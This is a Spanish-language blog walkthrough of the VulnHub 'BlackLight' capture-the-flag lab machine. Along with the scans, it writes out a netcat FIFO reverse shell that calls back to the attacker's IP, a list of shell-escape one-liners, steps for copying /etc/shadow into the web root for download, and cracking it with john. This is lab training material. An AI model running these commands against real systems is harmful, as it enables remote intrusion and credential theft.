viernes, 7 de septiembre de 2018

Solución al reto Blacklight

Hola amigos.

En esta ocasión, vamos a desarrollar el ctf BlackLight, cuya máquina la podéis descargar en https://www.vulnhub.com/entry/blacklight-1,242/

Vamos a suponer que la máquina atacante tiene la IP 192.168.1.131 y la máquina víctima 192.168.1.140

En primer lugar, hacemos el escaneo de puertos

nmap -sS -sV -O 192.168.1.140



Observamos que tenemos un servidor web corriendo.



Veamos los directorios




tenemos la página robots.txt, vamos a visitarla



Tenemos dos, flag1.txt y blacklight.dict.

Vamos a la primera



Y el segundo, es un diccionario que nos descargaremos, pues podríamos necesitarlo más adelante.



Vamos a descargarlo

wget 192.168.1.140/blacklight.dict



Vemos en el flag, el número 9072, puede ser un puerto abierto que no nos haya detectado nmap.
Esto es debido a que nmap, por defecto, no escanea todos los puertos, sino los más comunes.

Nmap -sS -sV -p 9072 192.168.1.140



No sabe lo que es.
Vamos a probar

telnet 192.168.1.140 9072



vale, pongamos

.help



vale, veamos

.readhash



Nos dice que tenemos un comando más hasta que el servidor nos desconecte. Por tanto, sólo nos deja 3 comandos, de los cuales ya he gastado 2.

La verdad es que, si vuelves a reiniciar la máquina atacante, vuelves a tener 3 oportunidades.

Vale, en una nueva consola, abramos un netcat a la escucha

nc -l -v -p 4444

Vamos a crear un fichero FIFO.

¿Qué es un fichero FIFO? En primer lugar, FIFO significa First In, First Out, o lo que es lo mismo, el primero en entrar es el primero en salir.

Lo que vamos a hacer es crear una lista de comandos, a la cual, asignaremos un nombre. A este nombre se le llama fichero FIFO.

mkfinfo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

En primer lugar, se crea el archivo /tmp/fifo.

Punto y coma para separar órdenes y ejecutarlas.

En segundo lugar, Abriremos un netcat a la dirección 192.168.1.140 en el peurto 4444; A la salida estándar por teclado teclado (el 0) le redirigimos, pero no hacia una salida (>), sino hacia la entrada (<) el archivo fifo que hemos creado.

La salida que nos ha generado todo esto, lo enviamos como entrada (|) a lo que salga de hacer todo el proceso de /bin/sh>tmp/fifo 2>&1 (Es decir, primero se haría el /bin/sh>tmp/fifo 2&1 y después, todo lo que haya salido de la parte izquierda de “|”, será la entrada de toda la parte derecha (el resultado de /bin/sh>tmp/fifo 2>&1.

Ahora bien, 2 se refiere al error estándar (stderr). Este error, se redigirá a la salida estándar (stdout), que será ese &1.

Con ello, lo que hacemos, será forzar a imprimir los errores.

Posteriormente, borramos /tmp/fifo

Por tanto, en la primera consola, tendremos que poner

.exec mkfifo /tmp/fifo; nc 192.168.1.131 4444 0</tmp/fifo | /bin/sh >tmp/fifo 2>&1; rm /tmp/fifo

<imagen 12>

Ahora, correremos un script en python, para que nos dé una shell

python -c 'import pty;pty.spawn(“/bin/bash”);'

pty, en linux, son pseudoterminales. Por tanto, lo que hacemos en python es abrir una pseudoterminal.

Fuera de este reto, para abrir pseudoterminales tenemos:

  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl -e 'exec “/bin/sh”;'
  • perl: exec “/bin/sh”;
  • ruby: exec “/bin/sh”
  • A partir de aplicaciones:
    • vi: :!bash
    • En nmap (sólo desde la versión 2.02 hasta la 5.21, para ver la versión de nmap, con la opción -V):
        1. nmap --interactive
        2. !sh

Una vez obtenida la shell, observamos que en /home/blacklight tenemos otro hash en el fichero hash.txt, el cual, lo voy a copiar a /var/www/html/ para descargarlo



También voy a /etc/:

cd /etc/

Copio todos los archivos shadow a /var/www/html

cp shado* /var/www/html/

creo un archivo tar

tar cvf shadow.tar shadow shadow-

En una tercera terminal descargo lo anterior.

wget 192.168.1.140/hash.txt
wget 192.168.1.140/shadow.tar

Extraigo los ficheros

tar xvf shadow.tar

Ahora, realizamos un ataque de fuerza bruta a estos archivos shadow

john shadow --wordlist=blacklight.dic



Bien, volvamos a la shell de blacklight y vayamos al directorio /home/blacklight

cd /home/blacklight/

Ahora, veamos los archivos ocultos

ls -al



Nos metemos en el directorio .secret

cd .secret

ls -al



Copiamos a /var/www/html/ para descargarlo

cp * /var/www/html/

Nos vamos a la última terminal que abrimos y lo descargamos

wget 192.168.1.140/flag2-inside.jpg



Bien. Lo que nos dice es que el flag está escondida en esta imagen. Usaremos outguess, que es una herramienta de estenografía (¿os habéis dado cuenta que en la imagen ponía ...OUT...GUESS?, nos estaba dando una pista).

En la terminal, ponemos


Y compilamos de la siguiente manera:

En primer lugar ponemos.

./configure

En segundo lugar, ponemos.

make

bien, ahora ponemos

outguess -r flag2-inside.jpg -t flag2



cat flag2




No hay comentarios:

Publicar un comentario

Nota: solo los miembros de este blog pueden publicar comentarios.